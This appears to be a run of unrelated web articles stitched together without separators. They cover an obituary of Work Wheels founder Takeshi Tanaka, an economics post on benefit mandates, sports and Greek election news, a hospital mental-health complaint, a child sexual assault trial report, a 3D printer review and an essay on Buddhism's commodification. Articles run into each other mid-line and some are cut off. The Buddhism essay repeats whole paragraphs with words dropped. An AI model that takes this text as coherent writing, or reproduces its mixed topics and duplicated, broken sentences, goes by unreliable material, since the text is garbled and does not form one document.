you from this game though. It is a worthy play, esspecially on PC.
Read moreTakeshi Tanaka started the wheel company in 1977 and has thrived building some of the best aluminum alloy wheels and accessories the world has known.
If you’ve ever gone to a drift event or seen a serious import build, then you’ve probably come across real deal Work Wheels. Unfortunately we learned, thanks to a post by Stance Nation CEO Elvis Skender earlier today (Aug. 19, 2015), that the founder and CEO of Work Wheels Takeshi Tanaka passed away. Although the exact cause of his death or the details are scarce that not what’s important at this time. What is important was that he was beloved by many fans and did his best to promote good relations with both OEM manufacturers and enthusiasts through quality products. Check out the post and kind words posted by Elvis below.
I was recently informed about the passing of my friend and an incredibly inspiring human being Tanaka-San (President of Work Wheels). I was fortunate enough to meet him a couple years ago and I cherished every moment we got to spend together. Tanaka-San was always extremely kind to me and I will forever be grateful for the opportunity he gave me to put my company’s name next to his. RIP Tanaka-San. #workwheels #stancenation A photo posted by Elvis Skender (@sn_elvis) on Aug 19, 2015 at 9:43pm PDT
“I was recently informed about the passing of my friend and an incredibly inspiring human being Tanaka-San (President of Work Wheels). I was fortunate enough to meet him a couple years ago and I cherished every moment we got to spend together. Tanaka-San was always extremely kind to me and I will forever be grateful for the opportunity he gave me to put my company’s name next to his. RIP Tanaka-San. #workwheels #stancenation“
The story goes that when Takeshi Tanaka was searching for a name for his company, he gave a simple explanation, “If you work hard, anything can be achieved. For example, if you want to make money you have to work hard. That’s why I chose the name “Work” for the company.”
Regarded as the leading producer of one, two and three piece forged wheels for aftermarket wheel choices, Tanaka built the company on the popularity of a few key wheel choices. Still produced today in 14″ and 15″ variants, the Work Equip 01 and Work Equip 03 (pictured below) are regarded as classic designs that have withstood the test of time and are often used to build period-correct vehicles. Other notable designs include the Work Meister (supposedly Tanaka’s personal favorite), VSXX and Work Emotion line of wheels.
As far as being an innovator and leader in the manufacturing process, Work Wheels was one of the first major Japanese manufacturers to use an “on demand system” where demand is the precursor to production. A typical factory will produce a large inventory of product, then allow that product to be sold through stores, catalog sales and other means oftentimes with inventory sitting. With on-demand manufacturing, production is based on actual orders. This process is now in use by many companies today. Check out how well there manufacturing process is thanks to BOWLS FILMS below.
Tanaka-san (as he’s called in Japan and in the industry) has left behind a legacy that few can match. Employing over 160 employees today and still producing some of the most sought after wheels, his legacy of quality products, efficient manufacturing, and a true entrepreneurial spirit will continue to inspire and live on literally on the cars of his fans for decades to come.
Fortunately, there are a few interviews of Tanaka-san floating around on the internet. Check them out below.Some restaurants offer burgers without fries and a drink. These restaurants cater to low-income people who enjoy fries and drinks but can’t always afford them. To rectify this sad situation a presidential candidate proposes The Happy Meal Act. Under the Act, burgers must be sold with fries and a drink. “Burgers by themselves are not a complete, nutritious meal,” the politician argues, concluding with the uplifting campaign slogan, “Everyone deserves a Happy Meal!”
But will the Happy Meal Act make people happy? If burgers must come with fries and a drink, restaurants will increase the price of a “burger.” Even though everyone likes fries and a drink they may not like the added benefits by as much as the increase in the price of the meal. Indeed, this must the case since consumers could have bought the meal before the Act but chose not to. Requiring firms to sell benefits that customers value less than their cost makes both firms and customers worse off.
The Happy Meal Fallacy is fairly obvious when it comes to happy meals but now let’s consider the debate over the gig economy and the hiring of employees versus contractors. Employees are entitled to benefits that contractors are not. Thus the standard conclusion is that classifying workers as contractors “is great for employers but potentially terrible for workers.” Wrong. Employees get their wages with fries and a drink while contractors get wages only. Would a law requiring firms to provide all workers with fries and a drink help workers?
If firms are required to provide benefits to contractors they will lower the contractor wage. But how do we know the extra benefits aren’t worth the reduction in wages? If the extra benefits were worth more to workers than they cost firms, firms would have eagerly provided these benefits as a way of increasing profits. Firms can profit whenever buyers are willing to pay more for a product than its cost. Benefits are a product that workers buy from firms.
Workers buy benefits from firms by offering to work at a lower wage. Firms are happy to sell benefits when workers will accept a wage reduction that covers the cost of the benefit. Thus, if workers value a benefit by more than its cost, there is a mutually profitable deal to be made. The firm will provide the benefit and wages will fall by more than the cost but by less than the value of the benefit. Both firms and workers will be better off. It’s implausible that firms and workers will overlook mutually profitable exchanges. Thus requiring firms to provide benefits with every job means requiring firms to sell benefits that workers value less than their cost and that makes both firms and workers worse off–just like requiring restaurants to sell burgers with fries and a drink makes firms and customers worse off.
If the cost of the benefits far exceed their value to workers, the firm will close. But even if the firm doesn’t close, firms and workers will both be worse off. The exact division of the burden will vary depending on particulars but the workers who value wages the highest and benefits the least will be the most burdened. Often these will be the lowest income workers.
The Happy Meal Fallacy can lead to very unhappy firms and workers.
Addendum: The theory of compensating differences in wages with benefits was pioneered by Adam Smith. See Matt Kahn for a short overview and Sherwin Rosen for a full treatment of the theory. Jonathan Gruber and Craig Olson offer empirical evidence. The MRU video, The Tradeoff Between Fun and Wages presents another application.Johnson's goal against Stoke was his first in the league since December 2012
Liverpool defender Glen Johnson says he will not go "crawling" to the Premier League club for a new contract.
The right-back's current deal runs out next summer, but he says there are no ongoing talks about extending it.
"I want to play for a club that wants me," said the 30-year-old. "I am not going to go crawling to anybody.
"The club know where I am and they know the situation. There were minor talks at the end of last season but nothing I could accept or reject."
Reds boss Brendan Rodgers revealed there were discussions between the club and Johnson's representatives at the end of last season and again in the summer.
He said he was not sure how far those discussions had gone but added that he had spoken with Johnson "just the other week" and urged him to stay focused and keep working hard.
Johnson scored Liverpool's winner in the 1-0 win against Stoke on Saturday as the Reds ended a run of three successive league defeats.
He joined the Anfield club in June 2009 and has made more than 180 appearances for the Reds.
"I've had some good times and some bad times, but if I haven't got a contract then I can't stay," he said.
"Of course, it plays on your mind, but that is when you have to be professional and try to do a job for your team. I respect my team-mates and I want to put in a performance for them."
Asked if he was surprised Liverpool had not made more effort to extend his contract, Johnson added: "I have not really thought of it like that.
"Whether it is football or business, I don't really worry about things I can't control. All I can do is try to keep doing my job every weekend.
"Whatever will unfold will unfold."The rewired ferrets had eyes that were hooked up to the part of the brain normally involved in hearing. So did that rewired area "see" or "hear"? The scientists taught the rewired ferrets to turn their heads right if they saw a light and left if they heard a sound. The ferrets' brains were only rewired on one side, so the normal side of the brain served as a control in the experiment. What the researchers found was that the ferrets were seeing lights with their rewired auditory cortex! So not only was the wiring different, the "hearing" cortex was working to process input from the eye. This rewired pathway did not work as well as the normal visual pathway -- it was not as sensitive -- but it was functional. The animals were "seeing" with their auditory cortex. Neuroscientists had previously thought that these specialized sensory areas were designated by birth to perform certain tasks. This work shows that these parts of the brain can adapt and change. Cells organize during development (before birth) to form these specialized structures, but input from the environment (after birth) is necessary to stabilize these areas. Before they are stabilized, different input can affect their function. This may shed light on how younger brains are better able to recover from injuries, whereas more mature brains are less capable of repair or rewiring to compensate for damaged areas. For example, some young children with severe epilepsy undergo surgery to remove half of their brain to control the spread of the seizure. Many of these children recover to develop normally if the surgery is done at an early age. Better understanding of how the brain compensates for damage (whether it be from disease or injury) will help medical researchers searching for treatments for various brain diseases.
Auditory (medial geniculate nucleus) and visual (lateral geniculate nucleus) areas of the thalamus in humans. Images courtesy of the Knowledge Weavers Project.Image copyright AP Image caption The main two parties are expected to lose ground to fringe left- and right-wing parties
Greek Prime Minister Lucas Papademos has called elections on 6 May, after five months of technocratic government.
Mr Papademos, an economist, was made prime minister last November to help steer Greece through its debt crisis.
He told a cabinet meeting that the government had left behind "an important legacy" and would continue its work during the election campaign.
After asking President Karolos Papoulias to dissolve parliament, he will then speak on national TV.
The election will be Greece's first since the start of the debt crisis that has led to drastic spending cuts and violent protests.
Opinion polls suggest parties opposed to austerity could make big gains.
The BBC's Mark Lowen in Athens says the 6 May date comes after months of speculation and raises the prospect of a short and highly-charged campaign.
Analysis For almost four decades, Pasok and New Democracy have dominated Greek politics. In the last election, they polled almost 80%. But this time it is different. Greece is mired in the worst recession in its modern history, the two parties have supported drastic and deeply unpopular austerity measures and both are tainted with the brush of corruption. Their combined score in the latest opinion poll is just 33%. The smaller anti-austerity parties - some of them newly-formed - are likely to benefit. But a splintered vote will make it hard for any party to form an effective government. And political instability in Europe's most indebted |
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Mr Lay, along with other members of Victoria Police, were riding in the Bass Coast Cycle Challenge on November 16 when a ute drove past and the driver shouted at them near Kongwak.
Police Chief Commissioner Ken Lay. Credit:Craig Sillitoe
A police spokeswoman said the driver stopped and was told to move on by the officers, who were not identified as police but were riding within the group. His registration number was obtained and Wonthaggi police spoke to a 43-year-old local man about his behaviour.
"The man apologised, stating his frustration with cyclists and the impact on road users," the spokeswoman said.
"Police educated the man on his responsibility to share the road with all users. There are no charges pending."
Mr Lay is a keen cyclist who was raised in the nearby town of Korumburra. The ride was a fundraiser for Rotary Youth Driver Awareness, a road safety program targeting the attitude and awareness of young drivers and their passengers.
It is not known if Mr Lay was completing the 40km, 50km, 85km or 121km course, but all routes returned via the "majestic" road between Cape Paterson and Inverloch.New disturbing information has emerged about a 47-year-old suicidal woman with special needs who was repeatedly refused admission from University Hospital Galway last month.
It has been claimed that the distressed Galway woman experiencing suicidal ideation was told by a member of medical staff at the hospital that she should take an overdose and then she would be admitted to the psychiatric unit.
The claim was made by Galway City Councillor Pádraig Conneely (FG), who said it was an “absolute disgrace” and “appalling” how this woman with mental health issues was treated by UHG.
He said he has two witnesses who can verify that the woman was told by a member of staff at UHG to “go home and take an overdose” in order to get admitted to the Psychiatric unit via the Emergency Department.
John Hayes, HSE Chief Officer, North Western Area, said he would not comment on individual cases but he said it would be “extremely concerning and serious” if true. He said the issue should be raised with the executive clinical director at the hospital.
At the HSE West Regional Health Forum, Cllr Conneely described in detail the “very sad and serious incident” which was first highlighted in this newspaper in May.
The woman, he said, who was in “serious danger and having suicidal thoughts” presented at UHG but was not admitted.
She subsequently attempted suicide by jumping into the sea at Salthill but was rescued and brought by Galway Gardaí to ED. She was again not admitted, despite pleading with staff.
Cllr Conneely claimed that security staff at UHG had threatened to remove the woman form the premises along with her 84-year-old mother and counsellor who accompanied her to the hospital.
It was then, Cllr Conneely claims she was told to go home and take an overdose. The woman subsequently left and overdosed on her own medication.
See full story in this week’s Connacht Tribune.It’s so cold that the sea on the coast of Nantucket, an island on the eastern coast of the U.S., has turned into slush! Jonathan Nimerfroh, a photographer and surfer who’s “obsessed” with the ocean, snapped these beautiful shots of slushy waves rolling in to the near-frozen beach.
According to Nimerfroh, the high temperature that day had been only 19F, or -7C. It was cold enough for ice to form near the shore, but not cold enough to form solid pieces of ice, which is why the waves had to travel through a layer of slush to reach the shore. It may look like an appetizing slurpee, but I don’t suggest trying it unless you like salt, pee and plankton flavor.
Nimerfroh is an avid ocean and surfing photographer who has plenty of other beautiful photos of the sea, so check out his Instagram and website! Shop the complete collection of Nantucket “Slurpee Wave” photos at www.jdnphotography.com.
More info: jdnphotography.com | Facebook | Instagram | boston.cbslocal.com (h/t: mashable)At a campaign rally in Novi, Michigan Friday evening, Donald Trump asked President Barack Obama not to "pardon Clinton and her co-conspirators" if any charges were filed related to the email scandal.
"Mr. President," Trump said. "Will you pledge not to issue a pardon to Hillary Clinton and her co-conspirators for their many crimes against our country, and against society itself. No one is above the law."
Related Video: Trump: Media Attacks On Me "The Greatest Pile-On In The History Of America"
DONALD TRUMP: If she gets the chance, she will put the Oval Office up for sale, like she always does.
Remember folks, she's been doing this for 30 years. She deleted and bleached 33,000 emails after a Congressional subpoena. You can't do that!
And here's a demand I'm making today to President Obama: Mr. President, will you pledge not to issue a pardon to Hillary Clinton and her co-conspirators for their many crimes against our country, and against society itself?
No one is above the law. Clinton and her cronies will say anything, do anything, lie about anything to keep their grip on power
Watch the full event below:WESTMINSTER – A Huntington Beach man took a 7-year-old mentally-disabled girl away by the hand while she was playing with her friends and then sexually assaulted her in his apartment in August 2009, a prosecutor told a jury Thursday.
The attack was interrupted by the girl’s 8-year-old playmate, who went searching when the little girl did not return to the courtyard, Deputy District Attorney Eric Scarbrough said in his opening statement of a kidnap, molestation and sexual assault trial here.
The 7-year-old girl, who is primarily nonverbal, then managed to escape and ran crying from Daniel Vlas Flores’ apartment, Scarbrough said. Tests revealed that the girl had been sexually assaulted, Scarbrough said.
Flores, 30, is standing trial before Superior Court Judge Lance Jensen charged with kidnapping for the purpose of sexual assault, and three counts of sexual assault on a child 10-years-old or younger. His trial should conclude next week.
If convicted, Flores faces a sentence of 72 years to life in prison.
Scarbrough told the jury that the girl was playing with her 8-year-old friend and two little boys outside her apartment Aug. 19, 2009, when Flores walked up while the babysitter wasn’t looking. Flores told the children that he needed help moving some furniture as he took the girl by the hand and led her away, Scarbrough said.
The girl resisted, but Flores dragged her into his nearby apartment, which is in the same quad where the girl’s family lived, Scarbrough said.
The 8-year-old playmate – who called her friend “the little girl who doesn’t talk” and who considered herself the younger girl’s protector – became concerned when the younger girl didn’t return, Scarbrough said. The older girl somehow managed to unlatch the sliding door of Flores apartment and found Flores in the closet area with the semi-nude girl.
The young girl then ran out the door crying and into her family’s apartment a few doors away, prosecutors said. Flores was arrested later that day.
Detectives later recovered his DNA from the girl, and found her DNA on his hands, prosecutors said.
Contact the writer: lwelborn@ocregister.com or 714-834-3784Launched through a successful Kickstarter campaign last year, the Cetus3D Printer has proven itself to be a rare exception. While the 3D Printing community has become understandably wary of crowd funded projects, the Cetus3D not only managed to meet but exceed most expectations. Providing backers with a well built, low cost option, they have created two of the best 3D Printers available in the sub $400 price range.
Using an admirable form follows function approach, the attractive yet simple design is built for one task, creating beautiful 3D prints and doing it well. Addressing some of the structural flaws found in similarly priced machines, they have created a product that is certainly worth consideration.
Ease of Use: Build Quality: Features: Price: Overall: Cetus3D Printer $299 Compact 3D Printer with a large build volume using a form follows function design. Cetus3D Extended $399 Includes a longer Z-Axis, providing an extended build volume of 180x180x280mm.
Specifications Resolution 50 Microns Dimensions 260x260x280mm Build Volume 180x180x180mm Platform 3mm Aluminum Plate Filament 1.75mm Material PLA/ABS/PETG Weight 7 Lbs Connect USB/WIFI
Included Parts
The package comes with everything you will need to get started printing right out of the box. In addition to the 3D Printer unit itself, they include a variation of nozzles, sample PLA filament, spare hardware/tools and more. While I would recommend printing a different spool holder, everything included in the package has been carefully chosen and does serve a purpose.
3D Printer Unit
Extruder Assembly
Power Supply
Aluminum Build Plate
Nozzles (0.2mm, 0.4mm, 0.6mm)
Filament Spool Holder
Nozzle Needle
USB Cable
Putty Knife
Nozzle Wrench
Hex Wrenches
Nipper
(3) 50G PLA Filament Packs
Assembly
Affordable 3D Printers in the consumer market are quite often DIY kits, providing you with a box of miscellaneous parts and instructions for assembly. The Cetus3D in comparison takes less than 10 minutes to assemble, requiring a total of 5 screws to secure the build plate and extruder head in place. Once complete, it is just a matter of powering it on, connecting over WiFi or USB and calibrating the machine.
Cetus3D Software
The included software is well designed and offers a simple yet intuitive interface. The home screen provides direct access to your account profile, printer management and a self contained model library. From the Print screen, we are presented with the choice to import models, initialize or calibrate the machine, enter maintenance mode or start printing.
The list of features available is certainly impressive and continues to grow based on community feedback. Several unique options such as photo to lithopane are included, allowing you to import 2D images that instantly convert to 3D printable objects. On a more practical level, tools such as Fix Errors will automatically correct broken models and Blackout Recovery will resume printing in the event of a power outage. The best however is the cloud based smartphone app, informing you of both the printer’s status and the print progress while you are on the go.
Build Quality
The minimalist approach is the foundation of the Cetus3D and by far my favorite aspect of this printer. They have placed great emphasis on quality construction using only the essential components. It is compact by design, comprised of 6 core modules that it requires to operate. Mounting these to a frame built from aluminum extrusion, it is extremely durable while being only a fraction of the weight and size of its competitors.
The high quality linear rails are the basic motion system in which the printer moves. By utilizing these in the design, the aluminum build plate is attached directly to the x-axis guide rail, ensuring it remains level at all times. Unfortunately the build plate does not include a heated bed, only a factory coated surface to improve adhesion. While I would have preferred the inclusion of a heated bed within the package, this can be purchased separately from their website.
Final Thoughts
This is a fantastic 3D printer offered at a budget friendly price point. It has a massive build volume compared to its compact dimensions, built using high quality components, and the results are among the best available in similarly priced machines. When you factor in the extras such as WiFi connectivity, Blackout Recovery and the Smartphone app, you have one of the most complete packages available under $400.
The only notable drawback in my opinion is the lack of a heated bed. I deducted one star on the Features rating solely for this reason, where it is something that many do consider to be an absolute requirement. With that said, common materials such as PLA seem to have absolute perfect adhesion to the coated build surface. For those who are on the fence due to this reason, it is available on their website as a separate purchase and reasonably priced at $39.90.
Pros Solid Frame Construction
Quiet Linear Rails
No Bed Leveling
Large Build Volume
WiFi Connectivity
Blackout Recovery
Smartphone Management
Extendable Design
Cons No Heated Bed (addon)
Limited G-Code Support
Proprietary Nozzles
Loud Fan
With the printer aside, the company behind the Cetus3D is a subsidiary of Tiertime, a reputable business involved in 3D Printing since 2003. Their staff is extremely committed to the community, using customer feedback to make continual improvements. I spoke briefly with the Product Manager, Jason Wu, who responded quickly and professionally to all of my inquiries. In addition, they are quite active on the support forums, Facebook group and more. Their team appears to be highly devoted to the success of this venture and the happiness of their users, attributes that are not often found among manufacturers in this industry.
Print Results
Relatedimage: moneysister In the world of modern Buddhism there seems to be a growing concern about commodification of the Buddhadharma. I'm seeing more and more complaints about it from Buddhists. Commodification is a process in which something which is not usually considered to be bought and sold is transformed into a product with a monetary value. I have for instance argued that the re-packaging of our thoughts and emotions by websites like Facebook to help them sell advertising constitutes a that they faced them. This makes us and our age seem much more different from the past than is the case. In the world of modern Buddhism there seems to be a growing concern about commodification of the Buddhadharma. I'm seeing more and more complaints about it from Buddhists. Commodification is a process in which something which is not usually considered to be bought and sold is transformed into a product with a monetary value. I have for instance argued that the re-packaging of our thoughts and emotions by websites like Facebook to help them sell advertising constitutes a commodification of the self. I argued that this was a bad thing. "Our online persona becomes like a soap opera that is processed and sold as entertainment and enriches those who facilitate the process, with little or no real benefit to us despite the hype." However when one looks more closely at the concerns one often sees that they are based in a Romantic picture of Buddhism and they generally ignore our history. Buddhist ignorance of Buddhist history is something to be really concerned about. We tend to believe the lovely stories about our chosen religion that are completely unrealistic. We don't see the problems that we face in the light of how earlier Buddhists faced them, we don't even seethey faced them. This makes us and our age seem much more different from the past than is the case.
The Romance of Buddhism.
begin practising for the sake of liberation. We usually have no idea what liberation is at the beginning. Of course some people are attracted by notions of transcendence, especially if they've taken hallucinogens, but most people I meet are simply looking for ways to suffer less or to live better (i.e. to make the most of saṁsāra). Liberation is a concept internal to Indian religions, it's not a concept we can understand prior to beginning to practice. Even the idea that, having become Buddhists, each one of us is striving for liberation is a Romantic conceit. Most of us are far too settled and comfortable to be taken seriously as genuinely seeking liberation. We seem loath to admit to this, but it is natural and entirely consistent with our history. It takes a particular personality and temperament to really take on the challenges involved and most of us are not up to it. In an interview in Tricycle Online Mu Soeng, said "Most people forget that they began practicing [sic] for the sake of liberation." Really? Because in twenty years of practising Buddhism I've rarely met anyone who confessed topractising for the sake of liberation. We usually have no idea what liberation is at the beginning. Of course some people are attracted by notions of transcendence, especially if they've taken hallucinogens, but most people I meet are simply looking for ways to suffer less or to live better (i.e. to make the most of). Liberation is a concept internal to Indian religions, it's not a concept we can understand prior to beginning to practice. Even the idea that, having become Buddhists, each one of us is striving for liberation is a Romantic conceit. Most of us are far too settled and comfortable to be taken seriously as genuinely seeking liberation. We seem loath to admit to this, but it is natural and entirely consistent with our history. It takes a particular personality and temperament to really take on the challenges involved and most of us are not up to it.
The idea that every Buddhist might be actively striving for liberation is one that has no history. The number of people genuinely striving for liberation has always been dwarfed by people of less inspiration and less commitment, who are none-the-less sincere in their support for the Three Jewels and their attempts to live good lives. Most of us are just hanging around with Buddhists and though quite pious in our own way, cannot realistically expect to be liberated.
I begin to wonder if this idea that we can all be liberated is in fact part of the commodification of Buddhism in the West: the selling of Buddhism as a cornucopia and universal panacea. Sure, in theory we can all be liberated, but in practice most of us won't be. We make our contribution in other ways - be it making donations, helping to organise a teaching centre, or even just being a positive presence in the community (or writing essays). Being a member of a vibrant and supportive community of people with a common goal and sense of purpose can make us a great deal happier. It will bring out the best in us and help actualise our potential, whatever our potential is. For Buddhism to thrive it is quite important to have such a community around the more serious practitioners in order to support and sustain them.
But most of us are people are towards the middle of the bell curve. This "we're all Buddha's" stuff is like saying "We're all capable of getting a PhD and should all be enrolled in a program and pursuing research". No one would take this idea seriously. Some people do very well to get a bachelors degree, while others do fine with a basic education.
So Buddhists say things like "Most people forget that they began practicing [sic] for the sake of liberation" and it keeps the punters on the hook (and this may not be conscious because we unconsciously pick up on what the people around us are saying and repeat it to reinforce our group membership). Buddhists worry about not practising enough or in the right way and they become consumers of what Buddhist "teachers" are selling: they buy books, attend expensive seminars and retreats, and mālās, and little vajras to wear around their necks, and get a tattoo of a mantra and so on. As long as they are not at ease with who they are, they keep spending money on more teachings, more initiations, and more paraphernalia. Burn more incense, light more candles. There's a kind of anxious piety about many Buddhists, linked to an exaggerated concern for authenticity. The anxiety that the "true teaching" will be lost in the crowd of "false teachings" is visible in every layer of Buddhist literature, but quite pronounced in the voices of Buddhist converts from societies which have been largely Christian for centuries. Heresy is a particular anxiety for Christians as they only have one shot at heaven and they've left their mark on our psyches. Maybe we're getting spillover from that.
The Mindfulness Heresy
One of the problem areas that has emerged recently are the so-called Mindfulness Based Therapies (MBT) spawned by John Kabat-Zinn's application of Buddhist awareness techniques to managing pain. One sees and hears a great deal of bitterness, resentment and/or contempt towards practitioners of MBT from supposedly tolerant and pacific Buddhists. But let's be clear, the reason we've heard of JKZ is because his approach to pain management was incredibly successful in helping people with with chronic pain. And as someone who suffers from chronic pain I have nothing but respect and admiration for JKZ.
There seem to be two main complaints about MBT. That it is incomplete; and that it commodifies the Buddha's teaching.
Some Buddhists imagine that MBT is being touted as an alternative to Buddhism (it isn't) and that MBT is positioning itself as a competitor to Buddhism (it isn't). When martial artists claim to use Buddhist principles and practices in order to better defeat opponents in combat, we Buddhists have not complained that they are trying to undermine Buddhism or steal our ideas. If anything most Buddhists seem attracted to the idea of a martial wing to our culture as the fascination with samurai persists. As Buddhists we apparently see ourselves as in possession of a (the) panacea that we must retain control over. And the popularity of MBT compared to tradition Buddhist teachings has threatened our control over the ideas and practices of Buddhism. MBT has escaped from the hegemony of Buddhist orthodoxy. This is something to laugh about. It's hilarious.
The apparent commodification of Buddhism by practitioners of MBT seems to be a more problematic issue. MBT is generally speaking quite expensive. In the UK it is much more expensive than a beginners meditation class. But not more expensive than other types of pain management or psychological therapy. The idea behind this complaint seems to be that Buddhists have always taught for free. But this is simply not true. At the very least, as is shown at some length in Reginald Ray's book Buddhist Saints in India, Buddhist teaching was part of a social contract in which laypeople agreed to provide for all of the material needs of the entire monastic and forest-dwelling community in return for pastoral care and instructions. I will say more about the funding of Buddhism below, but we need to be clear that sustaining a group of people who do no productive work requires resources to be diverted from the productive part of society. Buddhist teachers have always been supported. And historically this has lead to massive accumulations of wealth (and therefore power) in monastic communities.
So it seems to me that Buddhists complaining about the success of MBT is bizarre and laughable. But complain they do. Indeed the backlash against MBT may be growing if rumblings in the blogosphere are anything to go by.
Naïveté and Romanticism
This is not to say that consumerism is a good thing. Consumerism is not a good thing. But neither is it an entirely new thing. One of the problems Mu Soeng sees is the rise of the teacher who wants to be a teacher for the kudos. Becoming a Buddhist teacher is a source of social standing and charisma (in the sense of the ability to influence one's social group and perhaps beyond). It's a way for some people to climb the social ladder. But again this has always been true. There are Pali texts reflecting just this problem - bhikkhus who went forth because they got a better living as a monk than their previous life. In Japan in the late 8th century people were pretending to be Buddhist monks in order to avoid forced labour. People become Buddhists for all kinds of reasons; they become "teachers" for all kinds of reasons; they become followers for all kinds of reasons. Some followers are only satisfied by a charismatic and ambitious teacher, which is why such people are able to succeed.
The general assumption seems to be that the teacher-pupil relationship is an asymmetrical power relationship - that it is characterised mainly by the exertion of power by the teacher. Typically, for some reason, as followers we expect to give up responsibility for decision making to our guru, even when the main teaching is take responsibility for yourself. Most people seem to be hopelessly naive and puerile when it comes to the religious life. Many are looking for a parent substitute and easily slip into a subordinate, childlike state in the presence of their teacher. Traditional Buddhist teachers do seem to encourage this unfortunately, though I think many Asians have been tripped up by how puerile we Westerners really are.
At present the fashion is to blame the teacher when something goes wrong. I'm not quite sure where the ideology of asymmetric power relationships comes from, but it is stated as an absolute fact time and again in the various sex scandals. It seems to me to be incredibly unhelpful in sorting out the problems that ensue from abdication of responsibility to a parent substitute because it completely ignores that side of the problem. One positive thing one can say about theism, is that at least the parent substitute is an imaginary figure in the sky, rather than a human being. Imaginary friends seldom let us down in the way that humans are wont to do. It really is unfortunate when people prey on naivete. But how else are the naive going to grow up except through betrayal? Naivete is positively dangerous in adults. We see the disastrous results all around us.
It is only when we realise that our parents are not omniscient and omnipotent, that they make mistakes, that they are not always kind and good to us, that we begin to grow up. If we reject that transition and go looking for a guru to play God, then we should not be surprised by the behaviour of the gods. In fact if we read mythology we discover that Gods are often immoral in the extreme. Greek myth for example is often bowdlerised for consumption by children, but the adult versions show how capricious, unsentimental and amoral (not to say immoral) the gods can be. One subjugates oneself at one's own risk.
Historically Romanticism was a reaction to the perceived mechanistic worldview of the Enlightenment thinkers. In Nietzsche's terms the dominant paradigm had become decidedly Apollonian. Romantics embraced Dionysus partly as a way of disrupting that. Certainly Romanticism is valuable in the way that it revalorises nature and the environment. In the present day, however, I see Romanticism as encouraging escapism and naivete. It's all too easy for us to escape into the world of imagination these days and to fail to engage with the practical problems facing us: from the baleful influence of Neolibertarianism (with it's roots in a dehumanising Utilitarianism and Game Theory) to the increasingly urgent problem of climate change. These problems of the material world are too remote for those who see themselves as spiritual beings, floating above the turbulence and uninvolved. Rather like our idealised Buddha figures who float above the world on pretty flowers, depicted as eternal youths and damsels.
Disengagement is the besetting problem of the last few generations. Present day Britain is once again dominated by Victorian thinking because successive generations of have either bought into the Neolibertarian lie, or simply dropped out of political life (the term for such a person in Greek was "idiot" from idios 'one's own'). The Romantic sees themselves as standing alone against an uncomprehending world. My own teacher has described the True Individual as characterised by "frequent aloneness". Romantics see the True Individuals as possessed of a refined soul in contrast to the gross materiality of the world. By contrast I argue that more than ever we need to see ourselves as inseparably interconnected with others and functioning better in groups than alone; and as rooted in the material world and willing to get our hands dirty to solve problems in the material world. What's worse is that Neolibertarians exploit the tendency to disconnect, encouraging and facilitating escapism while continuing to accumulate wealth and power.
The Funding of Buddhism
If the legends can be believed the first Buddhists were rather extreme ascetics by out standards. There were more extreme lifestyles available at the time, but these people lived on one meal a day which they begged at the doors of whatever settlement they were near, made their clothing from discarded rags, and wandered from place to place. But if they did live this way it doesn't seem to have lasted long. Wealthy patrons already feature in the earliest literature and many of them are very wealthy. Maybe having your generosity immortalised in a sutta was a bit like today's naming rights? Anāthapiṇḍika's Ārāma (garden) as the Pāḷi equivalent of the "O2" arena? Soon the incrowd and socialites of ancient India were donating many expensive gifts and large sums of money to Buddhist beggars. They went from being possessionless beggars in rags, to being substantial property and land owners in silk robes in a relatively short space of time. And they have remained in this position ever since. People donated over and above what was needed in to gain merit for a better rebirth. Why Buddhist monasteries accumulate wealth is open for discussion.
When Kūkai visited Changan, the imperial capital of China in 804-6 CE, there were some 90 Buddhist temples, alongside substantial buildings belonging to other religions. Some of these temples recorded huge donations (e.g. a billion copper coins) and were possessors of incalculable wealth. What's more they were involved in usury and owned productive land. And as ever they were not subject to the usual taxes. The imbalance was so great in China that, much like Britain in the 16th century, the Imperium, on the verge of bankruptcy, turned on the Buddhists and took all that wealth by force, sacking the monasteries. Having a large Buddhist establishment in your economic sphere is a vast drain on resources and history shows that supporting such a large unproductive sector frequently leads governments into economic difficulties. This may be why Zen monks ended up having to work for a living in Japan, where they had plenty of experience of wealthy and powerful monks interfering in government. In Tibet the monks solved this potential problem by becoming the de facto government and convincing peasants that a revered religious leader reincarnated time and time again to be their king. This produced an isolationist, stagnant, despotic feudalism that was largely disinterested in solving problems in the material world, while at the same time selling the story that they were engaged in saving all beings from suffering using supernatural means. The irony with Tibet is that had the Chinese not invaded we might still never have heard of Tibetan Buddhism.
One of the features of the work of Professor Gregory Schopen has been to show how ancient monasteries, to the extent that they have been excavated, were always involved in direct economic activity. From donating cash to monumental building programs to minting their own coins, all the evidence points to Buddhist monasteries as domains of power and wealth. The massive "university" at Nalanda was not built for free. We tend to forget that every building must be paid for. Land and bricks have to be bought, builders have to be paid and so on. All the evidence is that Buddhists were active in this sphere, though not productive. They simply accumulated wealth and property. And they still do. And what they offer in return is a little teaching, rituals to ward of misfortune, and the promise of a better rebirth for the donors. Buddhist monasteries have always been centres of wealth and power. Celibacy stops that wealth leaking away to children.
It's clear that a great deal of effort these days is going into producing Buddhist consumer goods: "Dharma" books, DVDs, paraphernalia, cushions, statues, apps; and Buddhist services: retreats, seminars, workshops, pilgrimages and initiations. This seems, historically speaking, to be business as usual. Running Buddhism and expanding it is not cheap and Buddhists have more or less always had to generate a huge amount of cash to fund it. Perhaps our culture of consumerism is more intense than before. Perhaps the average person is considerably more affluent than before. But the basic pattern of attracting donors to fund the maintenance and spread of Buddhism, involving the material support of a large unproductive clergy, as well as the accumulation of wealth and power by ruling elites, is nothing new. Commodification is the historical norm from the earliest textual and archaeological records. The Romantic idea of Buddhists living "pure" spiritual lives unconcerned with the material world is a story that has never been true in Buddhism history. Unproductive priests require the material support of their followers.
Conclusion
I was listening to the radio recently and someone said that one can tell the health of a religion by whether it is looking for converts or heretics. The implication was that looking for converts is a sign of health and looking for heretics a sign of ill-health. Clearly different parts of the Buddhist world are at different places on this spectrum. It's partly this that makes the reaction to MBT as a heresy alarming. But also it's another reminder that Buddhists don't really understand their own history and they don't understand economics. And isn't this because these are "material world" subjects that are considered to be below the spiritual aspirant who has renounced the world?Ultimate Fighting Championship (UFC) President Dana White cares about his fighters.
That's why he gave undefeated women's bantamweight No. 1 contender Holly Holm a shot at the 135-pound title, despite telling the mixed martial arts (MMA) media that it was instead going to Tate, who rebounded from a submission loss to champion Ronda Rousey to rattle off four straight wins.
As White told UFC Tonight, the change in plans may have very well saved "Cupcake's" career:
